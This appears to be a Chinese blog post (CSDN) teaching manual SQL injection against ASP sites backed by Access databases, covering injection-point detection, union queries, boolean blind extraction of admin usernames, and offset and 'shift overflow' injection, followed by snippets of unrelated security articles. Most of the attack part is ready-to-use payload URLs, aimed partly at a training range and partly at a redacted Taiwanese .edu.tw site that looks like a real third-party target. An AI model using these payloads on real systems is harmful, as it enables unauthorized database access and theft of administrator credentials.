代码编织梦想

Access数据库

是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具

手工注入

判断注入点

1.这里采用墨者学院提供的SQL手工注入漏洞测试环境

http://219.153.49.228:40000/new_list.asp?id=1

2.判断注入点标准三连 ’ ~ and 1 ~ and 0

http://219.153.49.228:47744/new_list.asp?id=1'		#页面报错
http://219.153.49.228:47744/new_list.asp?id=1 and 1    #页面正常
http://219.153.49.228:47744/new_list.asp?id=1 and 0   #页面报错

对比后 我们发现 and 1 后 页面正常 and 0后页面错误,说明此时已经闭合成功了 ,可以拼接自己要的语句了。

判断数据库类型


#若带入 and (select count(*) from msysobjects)>0 
#由于msysobjects表在access数据库中无权访问所以返回错误--为access数据库

因为access数据库有时候添加上面的语句就报错,所以我们不知道是不是acess数据库,这里我们根据脚本语言判断 如果语言为asp,基本就是access数据库,aspx可能是mssql很少是access。所以我们要判断是不是access数据库。只需要看是不是asp 语言,如果是aspx就判断他是不是MSSQL数据库即可。


#若带入and (select count(*) from sysobjects)>0 
#由于sysobjects表在MSSQL数据库中可以正常访问所以当返回正常页面时表示为MSSQL数据库

http://219.153.49.228:43394/new_list.asp?id=1 and (select count(*) from sysobjects)>0    #错误表示不是mssql,而是access、数据库

判断可以进行什么类型的注入

如果有回显的情况下,我们可以尝试一下联合注入。当然也可以用盲注。

在这里插入图片描述

联合注入

1. 判断存在的字段数
order by 语句用来根据指定的列对结果集进行排序
order by 1”表示对第一栏位进行排序,

2. 作用:可以用来判断查询语句所在的表到底有多少个字段

http://219.153.49.228:43394/new_list.asp?id=1 order by 1		#按第一列进行排序正常,说明至少有一个列

http://219.153.49.228:43394/new_list.asp?id=1 order by 2		#2个

http://219.153.49.228:43394/new_list.asp?id=1 order by 3		#3个

http://219.153.49.228:43394/new_list.asp?id=1 order by 4		#4个

http://219.153.49.228:43394/new_list.asp?id=1 order by 5      # 此时报错,说明该表只有四个字段

--
#用此方法也行,道理一样,都是看能不能根据列来排序,如果能,就说明存在序号为N的这一列
http://219.153.49.228:43394/new_list.asp?id=1 order by 1,2,3,4,5
http://219.153.49.228:43394/new_list.asp?id=1 order by 1,2,3,4
http://219.153.49.228:43394/new_list.asp?id=1 order by 1,2,3

3. 猜解表名
Access数据库结构:
masterdb(下面可以有很多表)
表1(每个表下面可以有很多列) 、表2、表3
列1 列2 列3
再下面是一组一组的数据

(1)猜解表名列名,联合查询法

http://219.153.49.228:43394/new_list.asp?id=1 union select 1,2,3,4 from admin(自己猜测的)

如果存在,爆出显示位置

在这里插入图片描述

http://219.153.49.228:43394/new_list.asp?id=1 union select 1,2,3,4 from admin5(随便输入的)

如果不存在,就会报错
在这里插入图片描述

可以猜出有 admin 和news表,这个工作更适合工具来做

http://219.153.49.228:43394/new_list.asp?id=1 union select 1,2,3,4 from news

4. 猜解列名
从爆出显示位置的列入手,如上图的2,3,因为用此处查询可以直接看到结果,可以验证对错

http://219.153.49.228:43394/new_list.asp?id=1 union select 1,id,username,4 from admin

从2,3处猜 在admin表中是否存在id,username这两个列,不存在报错,如果存在,就会打印查到的第一行的数据
![[Pasted image 20201214224814.png]]

不好猜的话多看工具里搜集的表名列名

5. 猜解表名列名
逐字猜解法,猜表名

http://219.153.49.228:43394/new_list.asp?id=1 and exists (select * from admin) 	#判断查询结果是否存在

同样,列名也可以

http://219.153.49.228:43394/new_list.asp?id=1 and exists (select id from admin)   #页面返回正常表示存在
http://219.153.49.228:43394/new_list.asp?id=1 and exists (select id,username from admin)   #页面返回正常表示存在

这里查询数据是重点
判断长度

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=4		#正常
#若该列数据的长度为4则返回正常,否则出错

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=5		#出错

如果无回显的情况下,我们只能盲注。

布尔盲注

判断有无admin 这个表
http://219.153.49.228:43394/new_list.asp?id=1and exists (select * from admin)

判断有无password这个列
http://219.153.49.228:43394/new_list.asp?id=1 and exists (select password from admin)

判断有数据长度

access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=4		#正常
#若该列数据的长度为4则返回正常,否则出错

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=5		#出错

说明username对应的第一行数据的长度是4

![[Pasted image 20201215105043.png]]

接下来根据ASCII码表逐字猜解每一位的数据

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 asc(mid(username,1,1)) from admin)=107	# 错误

http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 asc(mid(username,1,1)) from admin)=109	#正确

moke第一位为小写m,正确
格式为asc(mid(列名,位数,1))

从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin)  from ( select top 2 * from information order by id)  order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1))  from ( select top 2 * from information order by id)  order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1))  from ( select top 3 * from information order by id)  order by id desc)>55

注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 中 字的ascii值,可以用 chr 来逆向得出值

偏移注入

Access偏移注入:表名知道,列名无法获取的情况下

注入原理

假设一个表有8个字段,admin表有3个字段。

联合查询payload:union select 1,2,3,4,5,6,7,8 from admin 

在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错

直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段

然后通过移动admin.*的位置,就可以回显不同的数据

判断多少个列

http://www.xxx.com/show.asp?id=1993 order by 45 回显正常

http://www.xxx.com/show.asp?id=1993 order by 46 回显错误

说明有45个列
然后进行联合注入
http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 from admin(admin这个表是猜的)

在这里插入图片描述

查询表的列数

http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,admin.* from admin #回显错误

http://www.xxxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,* from admin #回显正常
在这里插入图片描述

回显成功,说明admin的列数为 45-41=4

偏移注入

然后我们再减掉四个数进行偏移注入
45 - 8 = 37
http://www.xxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,15,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,* from (admin as a inner join admin as b on a.adminid=b.adminid)
(表种必须有adminid列)

![[Pasted image 20201215195628.png]]

这时候,因为偏移上没有回显位。我们还需要重新偏移
所以我们还需要再减掉

http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,15,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from ((admin as a inner join admin as b on a.adminid= b.adminid)inner join admin as c on a.adminid=c.adminid)

http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,15,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from (((admin as a inner join admin as b on a.adminid= b.adminid)inner join admin as c on a.adminid=c.adminid) inner join admin as d on a.adminid=d.adminid)
在这里插入图片描述
这时候我们发现预览那个地方有回显位了。

移位溢注

在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不再需要人品”。在这里定义这种注入技术为:“移位溢注技术”。
它适用于ACCESS和MYSQL(任何版本)

简介

我们先来看看普通的偏移注入步骤:

  • 1.判断注入点
  • 2.order by 判断长度
  • 3.判断表名
  • 4.联合查询
  • 5.获取表中列数:union select 1,2,3,4,…,* from TABLE
  • 6.开始偏移注入:TABLE as a inner join TABLE as b on a.id=b.id

由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术:-

溢注过程

1. 判断字段长度
https://xxx/sc/tt/syste1/newshow.asp?news_id=801 order by 16 回显正常
https://xxx/sc/tt/syste1/newshow.asp?news_id=801 order by 17 回显不正常
在这里插入图片描述

2.判断表名

https://www.xxx.edu.tw/sc/tt/syste1/newshow.asp?news_id=801 and exists(select * from newsadmin)
在这里插入图片描述

3. 判断表长

https://www.xxx.edu.tw/sc/tt/syste1/newshow.asp?news_id=801 UNION SELECT 1,2,2,4,5,6,7,8,9,10,11,12,13,14,15,newsadmin.* from newsadmin 回显错误
在这里插入图片描述
4. 开始偏移

我们这时候就可以看到回显位15 已经出现了
在这里插入图片描述
然后,我们进行移位。
在这里插入图片描述
与此类推往左移位,就可以不断的注出数据。
在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_38265674/article/details/111596466

利用python的requests模块获取HTTP信息-爱代码爱编程

利用python的requests模块获取HTTP信息 import requests #导入requests模块 from colorama import Fore, Back, Style #关键词高亮显示出来 requests.packages.urllib3.disable_warnings(requests.packages.urllib3

反序列化漏洞-爱代码爱编程

文章目录 什么是序列化?PHP中的序列化和反序列化简单的例子序列化与反序列化Demo反序列化漏洞漏洞何在?为什么会这样?案例安装Typecho v1.0.14反序列化实战 什么是序列化? 序列化就是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对

openvas安装超详细步骤教程-爱代码爱编程

第一步:选择镜像文件 第二步:选择Linux;版本其他Linux2.6.x内核 64位 第三步:默认传统BIOS,继续 第四步:分配下内存,内存大的可以给个1~2G,小的给个512M,硬盘空间给个20G 第五步:安装开始;点击OK 第六步:点击Yes 第七步:正在安装中,安装完成时间取决于性能,等会就好了 第八步:

.NET程序的反编译-爱代码爱编程

.NET程序的反编译 一个简单的C# program: using System; namespace dotnetapp { class Program { static void Main(string[] args) { Console.WriteLine("What is your favourite Web Applicat

对一次入门bluecms v1.6的渗透-爱代码爱编程

记一次对bluecms v1.6 sp1的渗透测试 文章目录 记一次对bluecms v1.6 sp1的渗透测试前言一、复现环境二、seay审计三、进行SQL注入四、后台getshell 前言 本次主要是对此CMS的渗透,没有对代码进行详细审计。运气很好,用seay审计时第一个ad_js.php有sql注入。然后进行验证,确实没有误报。后面

浅析SQL注入-爱代码爱编程

文章目录 什么是SQL注入?SQL注入漏洞产生的原因SQL注入漏洞的危害SQL注入分类寻找正确的SQL注入点SQL注入总结如何防御SQL注入及修复方法 前言:学习了一段时间渗透测试,个人最直观的感受就是渗透测试的思路问题,渗透测试其实并不像是纯技术研究,当你对一个技术点、知识点进行深究的时候,你会发现要涉及的方面、考虑的问题有太多太多,在遇到一个

Owasp Web Top10-爱代码爱编程

Owasp Web Top10 SQL注入 漏洞定义 SQL注入是一种将SQL代码注入或者添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。由于SQL语句本身多样性,以及用于构造的SQL语句编码方法很多,因此凡是构造SQL语句没有过滤的均存在被潜在攻击的风险 攻击原理 其本质是对于输入的

文件上传漏洞(.user.ini和.htaccess)-爱代码爱编程

文件上传漏洞(.user.ini和.htaccess ) 一 、user.ini .user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.

Git信息泄露-爱代码爱编程

1. Git仓库介绍 Git(读音为/gɪt/。)是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。 通过git init创建一个仓库。 https://git-scm.com/ 2. Git信息泄露原理 通过泄露的.git文件夹下的文件,还原重建工程源代码。 解析.git/index文件,找到工程中所有的: ( 文件名,

XXE - 防御策略-爱代码爱编程

1. XXE漏洞消亡原因 libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html 2. XXE漏洞防御 1、使用开发语言提供的禁用外部实体的方法 PHP: libxml_disable_entity_lo

暴力破解 - dymerge字典合并工具-爱代码爱编程

1. dymerge工具介绍与安装 Dymerge用来操作多个已获得的字典文件,重塑以及合并的工具。 git clone https://github.com/k4m4/dymerge.git ./dymerge.py ./dymerge.py -h 或者 --help 获取帮助信息 2. dymerge基本使用 合并两个字典文件 为 dymerged.

web安全之暴力破解(一)-爱代码爱编程

文章目录 1 暴力破解原理和测试流程1.1 测试流程1.2 字典优化技巧2 基于表单的暴力破解3 验证码绕过-on client相关问题3.1 认证流程3.2 常见问题4 验证码绕过服务端5 防暴力破解的措施总结 1 暴力破解原理和测试流程 连续性变化+字典+自动化 一个有效的字典,可以大大提高暴力破解的效率。 常用的账号密码(弱口令)